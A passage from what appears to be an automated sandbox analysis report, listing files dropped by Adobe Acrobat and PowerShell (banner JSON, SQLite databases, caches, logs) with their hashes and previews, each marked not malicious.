SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJf8dPeUkwRe9:YvXKXCusdTeOqGU8Ukee9
MD5:	A81D6F56B678485BF6E08C7CD0C91DBC
SHA1:	22B2643C8C052D98E7634FB186E86F282D8EE006
SHA-256:	B5B2D1AACBA0AA47A87C363708FB27F23D0C0B2A4D105543DBCFFA3FB2927134
SHA-512:	CB9C2AFA0D4F5812EA59F6096192D3FD021F3E7DD72F09580D4F51780B1CF029E57CF5F1A1E5EBADFF82070919E72B9F8F0E339422F45D4656A242C0CF3B2351
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.29531573110714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfQ1rPeUkwRe9:YvXKXCusdTeOqGY16Ukee9
MD5:	D5D9FCD66C7C3703352D8BA94BC08BD4
SHA1:	2AAFC9A035985BB1D04A7059DD194664AF6A9074
SHA-256:	F6670F9AE6A7902CB338A4C548DE8C576E44192D665E8DF583E6981E540BFBE3
SHA-512:	DF40A4544AC600806CBD87F56DEFD4DE3FB510C20CB92FADDCD62C506D41630676B780F531C31969F80A4B59F985A2B09E699DCD979C0E40DF1A04BA57C28FEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314621214973671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfFldPeUkwRe9:YvXKXCusdTeOqGz8Ukee9
MD5:	2ADC5408CA7437F5D0B10571B10D5A08
SHA1:	0B92965CEF229B43E668DEDBF79CDCA5165F9010
SHA-256:	D680994C86ECA2712FCAC05D0C3F58BC0D65824B27314CA62E2F0976ED75EC2D
SHA-512:	3CD23C6391A5EBF809E2F59EE74156C2261D5BC282D51F4B76D77E2A26D0C4F4661F53990CA8D71787A05558EB92982ABBDB4DB4AB863CE5A94E53C9C2D3E451
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319457934103377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfzdPeUkwRe9:YvXKXCusdTeOqGb8Ukee9
MD5:	AE304F95E2E0FBC689FEBF1B456AFA88
SHA1:	5BA8703B65BFA95D561243A231838C313122C9C5
SHA-256:	B970AD5A80A69CFC817841F2C870CAE050437AFBB113CE660A2D3FEE76F41F69
SHA-512:	5E5CCB9DF40FD3612001AD6AA1B7A4E94B0799C71E36DB099097829896A2AEFE16A6AE228FAEB2340FFA44459F56B6C120E3256D4A2112B525403B26695A3590
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299809816862042
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfYdPeUkwRe9:YvXKXCusdTeOqGg8Ukee9
MD5:	8A0BEB370AC64944BDC62CFA51239FE2
SHA1:	3763BD1534984E3CADD5DDE3191FF2F00A67FBEA
SHA-256:	17717AB688A3ACCC6EC4BF6E50D0BEBCC87BE3975756528568E0B2418B9F297F
SHA-512:	A58C040ECABF8B75A1D32A2D3E1E04F6E959D58D749D77699B859243D0ECA92CC3B2BC4F279A382E53C7476802C6848C63B7DB0A7C8CE1F9D8720EDBF080032A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286155832317874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJf+dPeUkwRe9:YvXKXCusdTeOqG28Ukee9
MD5:	FEB46B4F54D4F8B1EF143F56297F2387
SHA1:	6B63A15C572E5AD4B5370DEFCF6AB88D5E1803B2
SHA-256:	5F2E13ADEA4C2DC2B0BC4CC405482201554D556E89AE8FFFDC2CC178DC273F79
SHA-512:	0FD46BE04C65A7D51F40404093DE7008D1911F538C8C4CCE7FC54FF98EB6969F70A6961F088AF467CD57FA6BE85882E528F39311C35AC03E4C9C70974734F6D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283358221636511
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfbPtdPeUkwRe9:YvXKXCusdTeOqGDV8Ukee9
MD5:	070D315BFA0515644963ABD76BB45788
SHA1:	B3E6BDA8BC3F63F16FDC77873002D8EE11CCF1E3
SHA-256:	B912C2E491E60ABD3E737E580DDD941356BE7097937B105D587DEF646587E71E
SHA-512:	0D9ED8B21D602EC3621F0FD6430E51EC3AF5D454A5112C17984F3519D6C18F00E96963D03D4BCFE053290E79E8B35CEBCAAB215925C2518222CB58B494D75BBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.287692661243005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJf21rPeUkwRe9:YvXKXCusdTeOqG+16Ukee9
MD5:	496915D9A875EAAE1884C65ACEAE960B
SHA1:	135D9C78DF79253DD95AD13E01D2C1CB0C2603E0
SHA-256:	5D9F41C8680E18D3E077A59BADF291E4E844AC3B9DE0F4AE80FB02A574621BC0
SHA-512:	4175B28370CC8F4BBE1CCFE4B022FFA9E6619BCC22FB27E38FAEFC5002A03256A83D92FE3158A54D360CEF51442AA0B37C4BD13FFE4A686637AA02F61AE67542
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6595222906141585
Encrypted:	false
SSDEEP:	24:Yv6XtmeOfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSK:YvheyBgkDMUJUAh8cvMK
MD5:	62C9AD11B046FE2E1E9484AD6098B079
SHA1:	1BBFA55B12BD785130AFB5B4B19FB41B96274304
SHA-256:	991B21E938E1F7408BE47A4478E4C592A5AADB17FBB3AA0204D8261C4E9B49D3
SHA-512:	ABD1E8095F24AD5A9A82D607CF9341D22276D232DC15DFF0DA5BF2697DAE693C8DA00446106D726EC7E4B87707BA9EA19A2A2F8302FB02E30B385C610D236F63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265938005049999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfshHHrPeUkwRe9:YvXKXCusdTeOqGUUUkee9
MD5:	9C4E4FB874ABFA870082C3E542AE7F02
SHA1:	A1B5FEDFC05336ADBAEAE1B98F7CBE0B1C47A653
SHA-256:	29E396516561B54876C24A8C806A53BFAE488716A9A6EA89B5CA8BB45D3A1416
SHA-512:	8E6EFC7B0295F69FD42527A7DB470A8D345168CC60556B87C732A5FD3F78851D17D5551DA360591CB40D9CD968CA4243E7D48E0BE9B573645823EE7849A57E43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.279179947749626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJTqgFCrPeUkwRe9:YvXKXCusdTeOqGTq16Ukee9
MD5:	95A5476EF2579E361CDD34936624CEBB
SHA1:	D9361FFAAC46C02D3E93A27504A4DE453378DB9E
SHA-256:	0BD93492E8E6D6DE1595B573980BA5746F4EDE2BD233BF2323363FE208C80C65
SHA-512:	C79896D45783B3661860CBE990D588D841ED59233F9230DBA23D3B872BD1C4DCB3661B59F47DB72AF8EA497C547C3D598E42E5612B4FE8A019A691B8703CF265
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145287288556809
Encrypted:	false
SSDEEP:	24:YNsGFapMayzuFjt9RTYGa2D9GtyUfjmQsj0Sl3V2qB62LS/CJRWdne7VQu5zE6X9:YNstCoR0/keNmQ+TfgV8WReX3Xh9l
MD5:	12AD34AA9DAF7F231C23D1CE23B2366F
SHA1:	288CB3AEEBA33C6DF17A5F1C8F0E97E7A9395F95
SHA-256:	C300B729232D276259F86A8182D2D912D822D3F5ABF1457898AF031E748BF925
SHA-512:	247FCBE4D6D3FE9FA80A7A5EE5E9C5930E71337FDEDFBAE21BDEDF3F8A88AE55767C005AEC41D59B144501D39D86E39B4E56E19C7D39721179E72D324D43A7B0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"468b880c73682d45991ee23f8f511bb4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544952000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"849100cb8f2da8b042159ed3094ccb6a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544952000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e56a56c77df760e51d31883b33fcb778","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544952000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"500a199d5f4eb953649c7999137ebca9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544952000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"43971a3f116fde18ffe3d36dedc0246c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544952000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"185bfae74c48b9a251ec1efd04e3c310","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4529329997686353
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsjl9:lNVmsw3SHtbDbPe0K3+fDZdM
MD5:	C97828689F273245DEC39051D0C2A01D
SHA1:	D5A880F80231FD30A5C6842A9B16DCD94652B794
SHA-256:	1FFB4693F84AE4C31017DEEBC118A427227B92F80EED374F2EF16C62AB6FF67E
SHA-512:	0B3381BAD18462BD11DBE0B1666678369773193DD05A73AFFC468C5EA20C31E48CB48A099AAA414C8B05A5209C733CE4B0385E1B8E59B8ABD752379FDBCBF6EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9572854691114465
Encrypted:	false
SSDEEP:	48:7M9rvrBd6dHtbGIbPe0K3+fDy2dsiIqFl2GL7ms5:7Q3SHtbDbPe0K3+fDZdgKVms5
MD5:	0CFA8A08D6AF882DB684EC6A054A6792
SHA1:	E362C354FB8ECC1E7CDBCD1F0C2B85FCE1B31961
SHA-256:	2EDFEBB19B0EDD62FA97E9FC7BFCF2A5D56BB3BFAECA9CE9FACA05D0BFF963DD
SHA-512:	43A9714E51A7864E06190FA633F8988E1525E8C52A655B1728128C27C3E346112D2CC56D7458AAF5CB1192A2403C980DD8F035BAADDDEBAB923937C1F6FB772A
Malicious:	false
Preview:	.... .c......a........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgcDBJ7We9bG0luhoJUxmn1JRSPYyu:6a6TZ44ADEclJV9bZl7FuK
MD5:	C5D0AE696175353E9C7F1B28FC9633AE
SHA1:	6985E25F453E7F4084568F64CAB1B2B9866E0DB3
SHA-256:	092CCE701D830D25FAEFF11C85A6E31B6F1DED12D704207124377D65EB392186
SHA-512:	BDCA1F64490A22389D8B791609C24B9A6FCE7D1A3B6C2C57B38589DFB8A1C27E62E531079C76C40F35D804D92B0AA9C76F8DBF297FC43FC6E2FBEF2B45526BBD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/suL:NllUku
MD5:	9092B0E83B8E62D6731409BD3B39C415
SHA1:	B602A92B2E62830E8B5183386F5C84D143DB72F9
SHA-256:	E531241B6310C4D003F9E6C6A25F9D0DC644D887C81B227C7B96CA29EC8F7416
SHA-512:	670AEFD1CEC191266C76AF22488D9F87556C8031CDA919A25843648DC5CD5D836551D4CC7556C7FAAF8FD6D423F88E998DBD87206AFA7342B3E839ACDD50EE92
Malicious:	false
Preview:	@...e.................................../............@..........

C:\Users\user\AppData\Local\Temp\MSI9cf6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNMGYH:Qw946cPbiOxDlbYnuRK+bDrNMGYH
MD5:	F95DE337B57901726F9D60AB1B2ACEE1
SHA1:	85CD6D73F0448843F1F058A02D9C137D7FA5019F
SHA-256:	D7795306AAD285D7570C4D9C70A358A1827179D23CBB9F6B582F06C4FFDA5055
SHA-512:	E5123A725B6AD4119F74E1360E861B05631B2DE657AD24976AA26CE52008D291A0663B37FC436AF7AB67B7F14F427ACA6D2FF8A3B3DD957048969C724FE19814
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.3.5.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_giyp4qei.cyl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nadtrgmm.jmw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-35-44-578.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.345564910393435
Encrypted:	false
SSDEEP:	384:5WMPUSRHmiPVyqQKGJsp8NAplCzTte25Y7Fxf2Gv9CkVxVjFOSA5QKAlh4Vv1NXa:dDzL9
MD5:	8B0558DA1EEA76A7160C65BF0249716E
SHA1:	22E88A2CE8ED37CAAC9A88E4F95322312798E96B
SHA-256:	E8472D415044F436BD354756652AA4F08D2571766A68861059244E0BF7B9938D
SHA-512:	0B1882F83652E3F8EEB701195A28B53D7D58A49DE19871E668EC03A528D52D0194D3249E1C93D24714F7633294739691F9352A4E490120AE96D0C955055B14B3
Malicious:	false
Preview:	SessionID=a3ba3f03-837e-4af2-9150-d87140fee1ad.1736544944675 Timestamp=2025-01-10T16:35:44:675-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a3ba3f03-837e-4af2-9150-d87140fee1ad.1736544944675 Timestamp=2025-01-10T16:35:44:677-0500 ThreadID=7948 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a3ba3f03-837e-4af2-9150-d87140fee1ad.1736544944675 Timestamp=2025-01-10T16:35:44:677-0500 ThreadID=7948 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a3ba3f03-837e-4af2-9150-d87140fee1ad.1736544944675 Timestamp=2025-01-10T16:35:44:677-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a3ba3f03-837e-4af2-9150-d87140fee1ad.1736544944675 Timestamp=2025-01-10T16:35:44:677-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

